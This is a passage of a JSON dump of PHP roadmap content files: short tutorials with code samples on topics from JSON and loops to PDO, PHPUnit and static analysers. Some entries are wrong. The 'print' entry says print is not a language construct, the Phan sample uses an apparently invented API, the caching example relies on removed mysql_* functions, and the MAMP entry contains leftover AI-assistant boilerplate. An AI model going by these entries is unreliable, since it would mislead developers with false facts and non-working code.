    "content": "# JSON Processing\n\nJSON Processing in PHP refers to the handling, reading, and manipulation of JSON formatted data. JSON, or JavaScript Object Notation, is a versatile data format used worldwide due to its easy readability and robustness. PHP natively supports JSON and includes built-in functions like `json_encode()` and `json_decode()`. The `json_encode()` function returns a JSON representation of a value, particularly useful when you need to pass arrays or objects to a script. On the other hand, `json_decode()` is used to extract data from a JSON file or a JSON-encoded string, converting it into a PHP variable. Here's a quick example:\n\n    // Create an array\n    $data = array('a' => 1, 'b' => 2, 'c' => 3);\n    \n    // Encode the array into a JSON string\n    $json = json_encode($data);\n    echo $json;\n    \n    // Output: {\"a\":1,\"b\":2,\"c\":3}\n    \n    // Decode the JSON string back into an array\n    $decoded = json_decode($json, true);\n    print_r($decoded);\n    \n    // Output: Array ( [a] => 1 [b] => 2 [c] => 3 )\n\nVisit the following resources to learn more:\n\n- [@official@JSON Manual](https://www.php.net/manual/en/book.json.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/lamp@7LjxtrmgJtTJc0_kP83Tr.md",
    "content": "# LAMP\n\nLAMP refers to the combined use of Linux OS, Apache HTTP Server, MySQL relational database management system, and PHP; it's a popular stack for creating and hosting websites. For PHP, LAMP is a robust, open-source web development platform that supports a wide range of dynamic websites and applications. Suppose you plan to develop a content management system (CMS), forums, or e-commerce shops. In that case, PHP, as a part of the LAMP stack, helps provide a flexible development environment. Here, PHP works hand-in-hand with MySQL to access and manage databases, get queried results, and embed them into HTML pages by the Apache HTTP Server before sending them to the client side.\n\nVisit the following resources to learn more:\n\n- [@official@PHP Lamp](https://www.php.net/manual/en/introduction.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/laravel@zsscRQZIq5o0JZir9hlz-.md",
    "content": "# Laravel\n\nLaravel is a robust, elegant PHP framework perfect for web application development, providing developers with a lot of features that boost productivity. Laravel leverages the power of PHP for handling complex tasks such as routing, sessions, caching, and authentication, making it much simpler and quicker for PHP developers to build applications. Laravel's MVC architecture promotes clean, DRY code and separates business logic from UI which significantly improves scalability as well as ease of maintenance.\n\nVisit the following resources to learn more:\n\n- [@official@Laravel](https://laravel.com/)\n- [@official@Laravel Installation](https://laravel.com/docs/11.x/installation)\n- [@official@Laravel Documentation](https://laravel.com/docs)"
  },
  {
    "path": "src/data/roadmaps/php/content/loops@qwt8xN4vuTrY-D0czYITI.md",
    "content": "# Loops\n\nPHP incorporates the use of loops, which are a vital part of programming. They allow a block of code to be executed repeatedly based on a certain condition or until a specific condition is met. In PHP, there are four types of loops - 'while', 'do-while', 'for' and 'foreach'. The 'while' loop continues executing its nested code as long as the condition remains true. The 'do-while' loop executes a block of code at least once, and then either continues executing it or stops, based on the condition. The 'for' loop is often used when the number of iterations is known. The 'foreach' loop works with arrays and is used to loop through each key/value pair in an array. Here's a simple example of a 'for' loop in PHP:\n\n    <?php\n    for ($i = 0; $i < 5; $i++) {\n        echo $i;\n    }\n    ?>\n    \n\nIn this example, the loop will execute five times, with $i increasing by one each time, outputting the numbers from 0 to 4.\n\nVisit the following resources to learn more:\n\n- [@official@Loops](https://www.php.net/manual/en/language.control-structures.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/magic-methods@rSXsPWto7Jeyw3Szl9pvf.md",
    "content": "# Magic methods\n\nPHP Magic Methods, often considered the hooks of the language, provide developers a way to change how objects will respond to particular language constructs. Magic methods are special functions that start with \"\\_\\_\" such as `__construct()`, `__destruct(), __call(), __get(), __set()` and more. They enable us to perform certain tasks automatically when specific actions occur. For example, `__construct()` executes when an object is created while `__destruct()` triggers when an object is no longer needed. Let's see the `__construct` magic method in action:\n\n    class Car {\n        public $color;\n        public function __construct($color) {\n            $this->color = $color;\n        }\n    }\n    $blueCar = new Car(\"Blue\"); // This will call the __construct() method.\n    echo $blueCar->color;  // Outputs \"Blue\".\n\nVisit the following resources to learn more:\n\n- [@official@Magic Methods](https://www.php.net/manual/en/language.oop5.magic.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/mamp@t7p7TU2khaxsZPYAdwFAA.md",
    "content": "# MAMP\n\nMAMP stands for Macintosh, Apache, MySQL, and PHP. It is a popular software stack that enables developers to run a local server environment. While other technology stacks might be more relevant to different languages or platform-specific development, MAMP is highly beneficial for PHP development. MAMP allows PHP developers to run their code in a localhost environment on their systems, making testing and debugging more straightforward. MAMP bundles all the required software packages (Apache, MySQL, PHP) into one convenient installation, supporting developers in creating a reliable, consistent development environment without tussle. However, as an assistant, I cannot provide a code sample for this topic since it's not directly related to coding in PHP.\n\nVisit the following resources to learn more:\n\n- [@official@MAMP](https://www.mamp.info/en/)"
  },
  {
    "path": "src/data/roadmaps/php/content/match@3gNzX-bw2iqur7U7-_W38.md",
    "content": "# match\n\nMatch expressions are an integral feature of PHP, introduced in PHP 8.0 as an alternative to the switch statement. Compared to the switch statement, match expressions are safer since they don't require break statements and are more concise. The match expression can be an excellent tool for pattern matching. Here's an example:\n\n    $message = match ($statusCode) {\n      200, 300 => 'OK',\n      400 => 'error',\n      default => 'unknown status code',\n    };\n    \n\nIn this code, based on the value of `$statusCode`, the `match` expression assigns a specific text to the `$message`. If `$statusCode` is not 200, 300, or 400, the `default` case applies. After running the code, the `$message` variable contains the result of the `match` expression.\n\nVisit the following resources to learn more:\n\n- [@official@match](https://www.php.net/manual/en/control-structures.match.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/memory-management@bt7dK2PcOZ72B9HXPyMwL.md",
    "content": "# Memory Management\n\nMemory Management is a crucial part of PHP performance optimization. Efficient memory use can significantly boost the speed and reliability of your PHP applications. PHP automatically provides a garbage collector which cleans up unused memory, but understanding and managing your script's memory usage can result in better use of resources. For instance, `unset()` function can help in freeing up memory by destroying the variables that are no longer used. Here is an example:\n\n    $string = \"This is a long string that's going to use a lot of memory!\";\n    echo memory_get_usage();  // Outputs: 36640\n    unset($string);\n    echo memory_get_usage();  // Outputs: 36640\n    \n\nIn this code snippet, you'll notice that the memory used remains the same even when the `$string` variable is unset. This is because `unset()` only reduces the reference count of the variable in PHP's memory manager, and the memory will be cleared at the end of script execution. Avoiding unnecessary data storage and using inherent PHP functions, can help optimize memory management.\n\nVisit the following resources to learn more:\n\n- [@official@Memory Management](https://www.php.net/manual/en/features.gc.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/multi-dimensional-arrays@uARTOZ-ZwugSmbCJoRS5Y.md",
    "content": "# Multi-dimensional Arrays\n\nMulti-dimensional arrays in PHP are a type of array that contains one or more arrays. Essentially, it's an array of arrays. This allows you to store data in a structured manner, much like a table or a matrix. The fundamental idea is that each array value can, in turn, be another array. For instance, you can store information about various users, where each user (a primary array element) contains several details about them (in a secondary array like email, username etc.).\n\nHere's an example:\n\n    $users = [\n           [\"John\", \"john@example.com\", \"john123\"],\n           [\"Jane\", \"jane@example.com\", \"jane123\"],\n           [\"Doe\", \"doe@example.com\", \"doe123\"]\n    ];\n\nVisit the following resources to learn more:\n\n- [@official@Multi-dimensional Arrays](https://www.php.net/manual/en/language.types.array.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/mysqli@YLuo0oZJzTCoiZoOSG57z.md",
    "content": "# MySQLi\n\nMySQLi is a PHP extension that allows PHP programs to connect with MySQL databases. This extension provides the capability to perform queries, retrieve data, and perform complex operations on MySQL databases using PHP. MySQLi comes with an object-oriented and procedural interface and supports prepared statements, multiple statements, and transactions.\n\nHere's a basic example of using MySQLi to connect to a MySQL database:\n\n    $servername = \"localhost\";\n    $username = \"username\";\n    $password = \"password\";\n    $dbname = \"myDB\";\n    \n    // Create connection\n    $conn = new mysqli($servername, $username, $password, $dbname);\n    \n    // Check connection\n    if ($conn->connect_error) {\n      die(\"Connection failed: \" . $conn->connect_error);\n    }\n    echo \"Connected successfully\";\n\nVisit the following resources to learn more:\n\n- [@official@MySQLi](https://www.php.net/manual/en/book.mysqli.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/named-arguments@RkNjYva8o_jXp9suz5YdG.md",
    "content": "# Named Arguments\n\nNamed arguments in PHP, introduced with PHP 8.0, allow you to specify the values of required parameters by their names, instead of their position in the function call, thus making your code more readable, reducing mistakes, and allowing for unimportant arguments to be skipped. Here's an array\\_fill() function using named arguments:\n\n    <?php\n    $a = array_fill(start_index: 0, count: 100, value: 50);\n    \n\nIn this code snippet, the parameters are passed by their names ('start\\_index', 'count', 'value'), not by their order in the function definition.\n\nVisit the following resources to learn more:\n\n- [@official@Named Arguments](https://www.php.net/manual/en/functions.arguments.php#functions.named-arguments)"
  },
  {
    "path": "src/data/roadmaps/php/content/namespaces@9raJ06lKRZITbjWeLil-F.md",
    "content": "# Namespaces\n\nNamespaces in PHP are a way of encapsulating items so that name collisions won't occur. When your code expands, there could be a situation where classes, interfaces, functions, or constants might have the same name, causing confusion or errors. Namespaces come to the rescue by grouping these items. You declare a namespace using the keyword 'namespace' at the top of your PHP file. Every class, function, or variable under this declaration is a part of the namespace until another namespace is declared, or the file ends. It's like creating a new room in your house solely for storing sports equipment. This makes it easier to find your tennis racket, as you won't have to rummage around in a closet full of mixed items.\n\nHere's a quick example:\n\n    namespace MyNamespace\\SubNamespace; \n    function displayGreeting() {\n         echo 'Hello World!'; \n    }\n\nVisit the following resources to learn more:\n\n- [@official@Namespaces](https://www.php.net/manual/en/language.namespaces.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/nginx@aspZpACHEKOsi_Er5FYPY.md",
    "content": "# Nginx\n\nNginx is often deployed as a reverse proxy server for PHP applications, helping to manage client requests and load balance. Unlike traditional servers, Nginx handles numerous simultaneous connections more efficiently, proving instrumental in delivering PHP content faster. For PHP, one common configuration with Nginx involves PHP-FPM (FastCGI Process Manager). FastCGI is a variation on the earlier CGI (Common Gateway Interface), it allows for long-lived PHP processes that can service many requests, improving the performance of PHP applications. For instance, your Nginx server configuration for serving PHP files might include directives like these:\n\n    location ~ \\.php$ {\n        include snippets/fastcgi-php.conf;\n        fastcgi_pass unix:/run/php/php7.0-fpm.sock;\n    }\n\nVisit the following resources to learn more:\n\n- [@official@Nginx Documentation](https://nginx.org/en/docs/)"
  },
  {
    "path": "src/data/roadmaps/php/content/null-coalescing-operator@w0ntgFBhgGd5RUFd-qlPK.md",
    "content": "# Null Coalescing Operator\n\nThe Null Coalescing Operator (??) in PHP is a simple and useful tool for handling variables that might not be set. It allows developers to provide a default value when the variable happens not to have a value. It is similar to the ternary operator, but instead of checking whether a variable is true or false, it checks if it is set or null. This makes it a handy tool for handling optional function arguments or form inputs. Here's an example: `$username = $_POST['username'] ?? 'Guest';`. In this line, if 'username' was set in the POST array, $username will be set to that value. If not, it will be set to 'Guest'.\n\nVisit the following resources to learn more:\n\n- [@official@Null Coalescing Operator](https://www.php.net/manual/en/migration70.new-features.php#migration70.new-features.null-coalesce-op)"
  },
  {
    "path": "src/data/roadmaps/php/content/null-safe-operator@1NXSk8VZDr89jQTTkOL7x.md",
    "content": "# Null Safe Operator\n\nThe Null Safe Operator is a handy feature in PHP which deals with an issue that often pops up when working with objects: trying to access properties or methods on an object that might be null. Instead of a fatal error, the PHP Null Safe Operator (indicated by ?->) allows null values to be returned safely, making your code more robust. Here's a quick example, consider $session?->user?->name. If $session or user is null, PHP will stop further execution and simply return null. This makes PHP more resilient when processing unpredictable data.\n\nVisit the following resources to learn more:\n\n- [@official@The Basics - Manual](https://www.php.net/manual/en/language.oop5.basic.php)\n- [@official@PHP RFC: Nullsafe operator](https://wiki.php.net/rfc/nullsafe_operator)"
  },
  {
    "path": "src/data/roadmaps/php/content/object-relational-mapping-orm@SeqGIfcLuveZ2z5ZSXcOd.md",
    "content": "# Object-Relational Mapping (ORM)\n\nObject-Relational Mapping (ORM) is a popular technique used with PHP to convert data between incompatible type systems using an object-oriented programming language. Essentially, it saves PHP developers time by enabling them to work with databases using OOP standards and avoid writing long SQL queries. One commonly used ORM in PHP is Doctrine. For instance, to save data into a products table, you don't use SQL but OOP-style code:\n\n    $product = new Product();\n    $product->setName('New Product');\n    $entityManager->persist($product);\n    $entityManager->flush();\n\nVisit the following resources to learn more:\n\n- [@article@What is an Object Relational Mapping (ORM)](https://stackoverflow.com/questions/1279613/what-is-an-orm-how-does-it-work-and-how-should-i-use-one#answer-1279678)"
  },
  {
    "path": "src/data/roadmaps/php/content/oop-fundamentals@yTviiPFR5b_dr3WyxdxxQ.md",
    "content": "# OOP Fundamentals\n\nIn PHP, Object-Oriented Programming (OOP) Fundamentals cover critical aspects like classes, objects, properties, and methods. OOP facilitates efficient code reusability and makes it easier to manage and modify code. For example, here's a code snippet that represents a class with a method and a property in PHP:\n\n    class Hello {\n        public $greeting = \"Hello, world!\";\n    \n        public function displayGreeting() {\n            echo $this->greeting;\n        }\n    }\n    $hello = new Hello();\n    $hello->displayGreeting(); // Outputs \"Hello, world!\"\n    \n\nThis snippet defines a class `Hello` with a property `$greeting` and a method `displayGreeting()`. Instances of this class can access these methods and properties. OOP Fundamentals in PHP are much more comprehensive, encompassing concepts like inheritance, encapsulation, and polymorphism.\n\nVisit the following resources to learn more:\n\n- [@official@OOP](https://php.net/manual/en/language.oop5.basic.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/opcode-caching@NieqZd1juaNYoZOrB7e31.md",
    "content": "# Opcode Caching\n\nOpcode caching is a technique that can significantly enhance the PHP performance. It works by storing precompiled script bytecode in memory, thus eliminating the need for PHP to load and parse scripts on each request. For opcode caching, OPCache extension is often used in PHP. With this, the PHP script's compiled version is stored for subsequent requests, reducing the overhead of code parsing and compiling. As a result, your applications experience faster execution and lower CPU usage.\n\nAn Example of a way to enable OPCache in your php.ini configuration file might look like:\n\n       opcache.enable=1 \n       opcache.memory_consumption=128 \n       opcache.max_accelerated_files=4000 \n       opcache.revalidate_freq=60\n\nVisit the following resources to learn more:\n\n- [@official@Opcode Caching](https://www.php.net/manual/en/book.opcache.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/packagist@xZf2jjnCVHwYfDH2hs9kR.md",
    "content": "# Packagist\n\nPackagist is the primary package repository for PHP, providing a service for hosting and distributing PHP package dependencies. Developers can use it to upload their PHP packages and share them with other developers globally. In conjunction with Composer, Packagist helps manage package versions and resolve dependencies for PHP, acting as a crucial part of modern PHP development.\n\nVisit the following resources to learn more:\n\n- [@official@Packagist](https://packagist.org/)\n- [@official@Package Documentation](https://getcomposer.org/doc/01-basic-usage.md#package-versions)"
  },
  {
    "path": "src/data/roadmaps/php/content/parameters--return-values@mpQKoBzsOa-5iWo08sOhQ.md",
    "content": "# Parameters / Return Values\n\nParameters in PHP functions specify the input that the function expects to receive when it is called. They can be of various types like strings, integers, arrays, or even objects. PHP also supports default values for parameters and passing by reference. In PHP, the 'return' statement is often used to end the execution of a function and send back a value. Return values can be any data type. Here's a simple example:\n\n    function addNumbers($num1, $num2) {\n      $sum = $num1 + $num2;\n      return $sum;\n    }\n    \n    echo addNumbers(3, 4);  // Outputs: 7\n    \n\nIn the above code, `$num1` and `$num2` are parameters, and the sum of these numbers is the return value.\n\nVisit the following resources to learn more:\n\n- [@official@Parameters / Return Values](https://www.php.net/manual/en/functions.arguments.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/password-hashing@JbWFfJiCRrXDhnuIx_lqx.md",
    "content": "# Password Hashing\n\nPassword Hashing in PHP is a crucial aspect of security, which involves converting a plaintext password into a unique hash that cannot be easily reversed. PHP's built-in functions - `password_hash()` and `password_verify()` - are usually employed for this purpose. `password_hash()` creates a new password hash using a strong one-way hashing algorithm, while `password_verify()` checks if the given hash matches the password provided. This makes it extremely difficult for malicious actors to get the original password, even if they have the hash.\n\n    // Hashing the password\n    $hash = password_hash('mypassword', PASSWORD_DEFAULT);\n    \n    // Verifying the password\n    if (password_verify('mypassword', $hash)) {\n        echo 'Password is valid!';\n    } else {\n        echo 'Invalid password.';\n    }\n\nVisit the following resources to learn more:\n\n- [@official@Password Hashing](https://www.php.net/manual/en/function.password-hash.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/pdo@cJtPz1RMN1qDE4eRdv4N_.md",
    "content": "# PDO\n\nPDO (PHP Data Objects) is an interface in PHP that provides a lightweight, consistent way for working with databases in PHP. PDO allows you to use any database without changing your PHP code, making your code database-independent. Furthermore, it offers robust error handling and can utilize prepared statements to prevent SQL injection attacks. Here is how you could connect and fetch data from a MySQL database using PDO:\n\n    try {\n        $pdo = new PDO('mysql:host=localhost;dbname=test', 'username', 'password');\n        $stmt = $pdo->query('SELECT * FROM myTable');\n        while ($row = $stmt->fetch()) {\n            echo $row['name'] . \"\\n\";\n        }\n    } catch (PDOException $e) {\n        echo \"Connection failed: \" . $e->getMessage();\n    }\n\nVisit the following resources to learn more:\n\n- [@official@Data Objects](https://www.php.net/manual/en/book.pdo.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/performance-optimization@M1nVsh_sCSFJRf6-7Ttsj.md",
    "content": "# Performance Optimization\n\nPerformance Optimization linked with Advanced Database Techniques in PHP ensures your database-driven applications run efficiently. This involves techniques like indexing, using EXPLAIN SQL command, de-normalization, and caching query results. For instance, an effective technique is caching query results, which can significantly reduce the number of database calls. PHP offers functions to serialize and unserialize data, you can store your result set in a serialized form and when needed, retrieve it quickly, unserialize it and voila, you have your data ready with no database calls.\n\nHere's a simple example of caching MySQL query with PHP:\n\n    $query = \"SELECT * FROM my_table\";\n    $cache_file = '/tmp/cache/' . md5($query);\n    \n    if (file_exists($cache_file)) {\n        $result_set = unserialize(file_get_contents($cache_file));\n    } else {\n        $result= mysql_query($query);\n        $result_set= array();\n        while ($row = mysql_fetch_array($result)) {\n            $result_set[]= $row;\n        }\n        file_put_contents($cache_file, serialize($result_set));\n    }\n\nVisit the following resources to learn more:\n\n- [@official@MySQL Performance Optimization](https://www.php.net/manual/en/book.mysql.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/pest@d6MydchA52HIxfAUjmZui.md",
    "content": "# Pest\n\nPest is an innovative and elegant testing framework for PHP. Think of it as a stylish and streamlined alternative to PHPUnit. Pest makes testing your PHP code a breeze by enabling expressive and flexible test cases. It provides higher-level abstractions to minimize boilerplate code without disrupting the ability to integrate traditional PHPUnit tests. For example, using Pest can make a test case as simple as writing a closure:\n\n    it('has homepage', function () {\n        $response = get('/');\n        $response->assertStatus(200);\n    });\n\nVisit the following resources to learn more:\n\n- [@official@Pest](https://pestphp.com/)\n- [@official@Pest Installation](https://pestphp.com/docs/installation)"
  },
  {
    "path": "src/data/roadmaps/php/content/phan@B45YVzov8X_iOtneiFEqa.md",
    "content": "# Phan\n\nPhan is a static analysis tool specially made for PHP language, greatly useful in catching common issues in the code before execution. It can analyze the syntax and behaviors in PHP code, detecting problems such as undeclared variables, type inconsistencies, uncaught exceptions, and more. Interestingly, Phan has a particular strength — it understands the relationships among PHP's different features, making the tool effective in finding subtle, complicated bugs. To use it, simply install it using composer and run the command 'phan' in your project directory.\n\n    <?php\n    // Phan sample usage\n    \n    require 'vendor/autoload.php';    // Autoload files using Composer autoload\n    \n    use Phan\\Phan;\n    use Phan\\CLI;\n    \n    $code = \"<?php function add(int $a, int $b): int { return $a + $b; } echo add('hello', 'world');\"; // code with a type error\n    \n    Phan::analyzeFile('test.php', $code);\n    \n\nAbove is a basic sample of using Phan. It checks for a type error in a PHP function.\n\nVisit the following resources to learn more:\n\n- [@official@Phan](https://phan.github.io/)\n- [@opensource@phan/phan](https://github.com/phan/phan)"
  },
  {
    "path": "src/data/roadmaps/php/content/php-cs-fixer@r07k_hT2z2EiIBH4q3F7-.md",
    "content": "# PHP CS Fixer\n\nPHP CS Fixer is a valuable utility for PHP developers that examines and fixes your code to ensure it aligns with specific coding standards. This powerful tool diminishes the time and effort spent on manual code review and corrections. It reviews your PHP code's syntax, appearance, and structure and can automatically fix issues found. PHP CS Fixer supports PSR-1, PSR-2, Symfony standards, and more. Here's an example of how you can use PHP CS Fixer. First, install it via composer:\n\n    composer global require friendsofphp/php-cs-fixer\n    \n\nThen, run this command in your project directory:\n\n    php-cs-fixer fix /path-to-your-php-files\n\nVisit the following resources to learn more:\n\n- [@official@CS Fixer](https://cs.symfony.com/)"
  },
  {
    "path": "src/data/roadmaps/php/content/php-fig@SD9k16UlVve9WtNMDA5Za.md",
    "content": "# PHP-FIG\n\nPHP-FIG, also known as the PHP Framework Interoperability Group, is a vital part of PHP's ecosystem. This group has the main goal of creating PHP standards that promote interoperability among PHP frameworks, libraries, and other pieces of PHP based software. The group is responsible for PSR standards, which most modern PHP codes adhere to. Typically, it provides guidelines on coding style, logger interface, http cache, and more. Each PSR is designed to make PHP code more consistent and maintainable. By adhering to PHP-FIG's standards, developers enhance their ability to integrate and leverage third-party code within their projects.\n\nVisit the following resources to learn more:\n\n- [@official@PHP FIG](https://www.php-fig.org/psr/)"
  },
  {
    "path": "src/data/roadmaps/php/content/php-fpm@AoGS-5MSkp8gtJFQVPSBE.md",
    "content": "# PHP-FPM\n\nPHP-FPM, or PHP FastCGI Process Manager, is a robust and efficient way to serve PHP applications. It dramatically improves the speed and processing efficiency of PHP apps by isolating each request, thus preventing jobs from interfering with each other. With PHP-FPM, your server can handle more simultaneous visitors without a slowdown. For example, to start using PHP-FPM with NGINX, you may include this configuration in your NGINX server block:\n\n    location ~ \\.php$ {\n        try_files $uri =404;\n        fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;\n        fastcgi_index index.php;\n        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;\n        include fastcgi_params;\n    }\n    \n\nHere `$uri` is the incoming request and `fastcgi_pass` should be the location where PHP-FPM listens.\n\nVisit the following resources to learn more:\n\n- [@official@PHP FPM](https://www.php.net/manual/en/install.fpm.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/php-versions-and-features@6sHRQTcoKL3TlgNJlwyx8.md",
    "content": "# PHP Versions and Features\n\nPHP (Hypertext Preprocessor) versions are critically important as each release comes with new features, improvements, and bug fixes. PHP versions start from PHP 1.0 released in 1995 and have improved over the years. The more recent version as of writing is PHP 8.0, which introduced features like the JIT compiler, named arguments, match expressions, and more. Remember, sticking to officially supported versions, like PHP 7.4 or 8.0, ensures security updates and performance improvements. For instance, the code `echo \"Current PHP version: \" . phpversion();` would tell you the PHP version in use.\n\nVisit the following resources to learn more:\n\n- [@official@Versions and Features](https://www.php.net/manual/en/history.php.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/phpcodesniffer@fSpvZ_4kGFMbFVCWhA8vn.md",
    "content": "# PHP CodeSniffer\n\nPHP CodeSniffer is a tool used to ensure your PHP code adheres to a defined coding standard. It works by tokenizing your code and detecting violations of a pre-configured set of rules, covering aspects like indentation, spacing, naming conventions, and more. This helps maintain code consistency across projects and teams, making it easier to read, understand, and maintain.\n\nVisit the following resources to learn more:\n\n- [@opensource@PHP_CodeSniffer](https://github.com/PHPCSStandards/PHP_CodeSniffer/)"
  },
  {
    "path": "src/data/roadmaps/php/content/phpstan@12k71gNfwAcT9K5aLWgbZ.md",
    "content": "# PHPStan\n\nPHPStan is a static analysis tool for PHP that focuses on discovering bugs in your code. As opposed to dynamic analysis which works while your program is running, static analysis examines your code without executing it. PHPStan can catch an entire class of bugs even before you write tests for the code, thus making it a valuable tool in PHP development. For example, PHPStan can prevent issues like accessing an undefined array key or calling a method that doesn't exist.\n\nHere's a basic example of how you can use PHPStan:\n\n    // install PHPStan using composer\n    $ composer require --dev phpstan/phpstan\n    \n    // analyse your code\n    $ vendor/bin/phpstan analyse src\n\nVisit the following resources to learn more:\n\n- [@official@PHP Stan](https://phpstan.org/user-guide/getting-started)"
  },
  {
    "path": "src/data/roadmaps/php/content/phpunit@NfBKKwG2GGBPppOjoLLBg.md",
    "content": "# PHPUnit\n\nPHPUnit is a widely used testing framework in PHP. Automated testing allows developers to ensure their code functions as expected. With PHPUnit, you can write test cases in PHP to check the functionality of your codebase. It's particularly good for executing unit tests - tests that verify individual parts of the software. PHPUnit supports several types of assertions, making it versatile for any testing requirement. Here's a simple PHPUnit test case:\n\n    <?php\n    use PHPUnit\\Framework\\TestCase;\n    \n    class StackTest extends TestCase\n    {\n        public function testPushAndPop()\n        {\n            $stack = [];\n            $this->assertEquals(0, count($stack));\n    \n            array_push($stack, 'foo');\n            $this->assertEquals('foo', $stack[count($stack)-1]);\n            $this->assertEquals(1, count($stack));\n    \n            $this->assertEquals('foo', array_pop($stack));\n            $this->assertEquals(0, count($stack));\n        }\n    }\n    ?>\n    \n\nIn this example, we’re testing the 'push' and 'pop' functionality of an array.\n\nVisit the following resources to learn more:\n\n- [@official@PHP Unit](https://phpunit.de/getting-started/phpunit-7.html)"
  },
  {
    "path": "src/data/roadmaps/php/content/polymorphism@gtq5KrghF28f5G8nuDcYQ.md",
    "content": "# Polymorphism\n\nPolymorphism is a core concept in object-oriented programming that PHP supports. It provides a mechanism to use one interface for different underlying forms, enabling different objects to process differently based on their data type. In PHP, polymorphism can be achieved through inheritance and interfaces. For example, you may have a parent class 'Shape' and child classes 'Circle', 'Rectangle', etc. They all can have a method 'draw' but with different implementations. It's not limited to classes; you can also use polymorphism with interfaces by implementing different classes with the same interface where each class will have different code for the same method.\n\nHere's a small sample code demonstrating the concept:\n\n    <?php\n    interface Shape {\n      public function draw();\n    }\n    \n    class Circle implements Shape {\n      public function draw() {\n        echo \"Draw a circle\";\n      }\n    }\n    \n    class Rectangle implements Shape {\n      public function draw() {\n        echo \"Draw a rectangle\";\n      }\n    }\n    \n    function drawShape(Shape $shape) {\n      $shape->draw();\n    }\n    \n    drawShape(new Circle());  \n    drawShape(new Rectangle()); \n    ?>\n    \n\nThis creates a scalable way to add more shapes, as you only need to follow the 'Shape' interface.\n\nVisit the following resources to learn more:\n\n- [@opensource@Polymorphism](https://www.phptutorial.net/php-oop/php-polymorphism/)"
  },
  {
    "path": "src/data/roadmaps/php/content/print@NQUmO90sqe7fnzod3Ia8H.md",
    "content": "# print\n\nThe 'print' statement in PHP is an in-built function used for outputting one or more strings. Unlike 'echo', it is not a language construct and has a return value. However, it is slower because it uses expressions. The text or numeric data that 'print' outputs can be shown directly or stored in a variable. For instance, to print a string you may use `print(\"Hello, World!\");`, and for using it with a variable, `echo $variable;` is suitable.\n\nVisit the following resources to learn more:\n\n- [@official@print](https://www.php.net/manual/en/function.print.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/print_r@wsC7OGXOyfCY4pLLNrR2v.md",
    "content": "# print_r\n\nThe print\\_r function in PHP is used to print human-readable information about a variable, ranging from simple values to more complex, multi-dimensional arrays and objects. It's exceptionally helpful while debugging, providing more information about the variable's contents than the echo or print functions. For example, in the code `$array = array('apple', 'banana', 'cherry'); print_r($array);`, it will display Array ( \\[0\\] => apple \\[1\\] => banana \\[2\\] => cherry ).\n\nVisit the following resources to learn more:\n\n- [@official@print_r](https://www.php.net/manual/en/function.print-r.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/process-control@NTKUMgsKGYISIyhgOJPQn.md",
    "content": "# Process Control\n\nProcess Control, a crucial aspect of PHP system interactions, pertains to the ability to manage child processes within larger PHP scripts. Through the Process Control Extensions, PHP can create, monitor and control these child processes efficiently. These functions help develop robust client-server systems by managing and bringing multi-threading capabilities to single-threaded PHP scripts. For instance, when creating a new child process using pcntl\\_fork() function, the return value in the parent process is the PID of the newly created child process whereas, in the child process, '0' is returned. Remember, this feature isn't enabled by default in PHP.\n\nHere's a short PHP code demonstrating Process Control:\n\n    <?php \n    $pid = pcntl_fork();\n    if ($pid == -1) {\n         die('could not fork');\n    } else if ($pid) {\n         // we are the parent\n         pcntl_wait($status); // Protect against Zombie children\n    } else {\n         // we are the child\n    }\n    ?>\n\nVisit the following resources to learn more:\n\n- [@official@Process Control](https://www.php.net/manual/en/ref.pcntl.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/profiling-techniques@_Dh78x_tPLqZweg--qZFQ.md",
    "content": "# Profiling Techniques\n\nProfiling is an analytical process within PHP that focuses on optimizing the application’s performance. It involves pinpointing bottlenecks and problematic sections of your PHP code that cause poor performance, often using profiling tools. One such tool is Xdebug, which provides detailed information about how each line of code is executed. This process helps in understanding how long an operation takes to execute, which parts consume more memory, and which functions/methods are most frequently used, thereby enabling an optimization strategy. Here's a snippet of how to use Xdebug:\n\n    xdebug_start_trace();\n    // Your code here\n    xdebug_stop_trace();\n\nVisit the following resources to learn more:\n\n- [@official@Xdebug Profiler](https://xdebug.org/docs/profiler)"
  },
  {
    "path": "src/data/roadmaps/php/content/properties-and-methods@MRAPXshy9RoYdReY6grf_.md",
    "content": "# Properties and Methods\n\nProperties and Methods are fundamental components of Object-Oriented Programming (OOP) in PHP. Properties are just like variables; they hold information that an object will need to use. Methods, on the other hand, are similar to functions; they perform an action on an object's properties. In PHP, properties are declared using visibility keywords (public, protected, or private) followed by a regular variable declaration, while methods are declared like functions but inside a class.\n\nHere is a simple example:\n\n    class Car {\n      public $color; // Property\n    \n      // Method\n      public function setColor($color) {\n        $this->color = $color;\n      }\n    }\n    \n\nIn this example, `$color` is a property and `setColor()` is a method.\n\nVisit the following resources to learn more:\n\n- [@official@Properties and Methods](https://www.php.net/manual/en/language.oop5.properties.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/psalm@T1XD93j6Lkpl88JSmys9b.md",
    "content": "# Psalm\n\nPsalm is a popular static analysis tool tailored for PHP. It identifies potential issues in your code, including syntax errors, unused variables, and type mismatches, before you run the code. This helps to improve code quality and maintainability. It's quite powerful, it can even understand complex scenarios using its template/interface system. To analyze your PHP code with Psalm, you simply need to install it and then run it against your PHP file or directory.\n\nHere's an example of how you might run Psalm against a file called 'example.php':\n\n    vendor/bin/psalm example.php\n\nVisit the following resources to learn more:\n\n- [@official@Psalm Documentation](https://psalm.dev/docs/)"
  },
  {
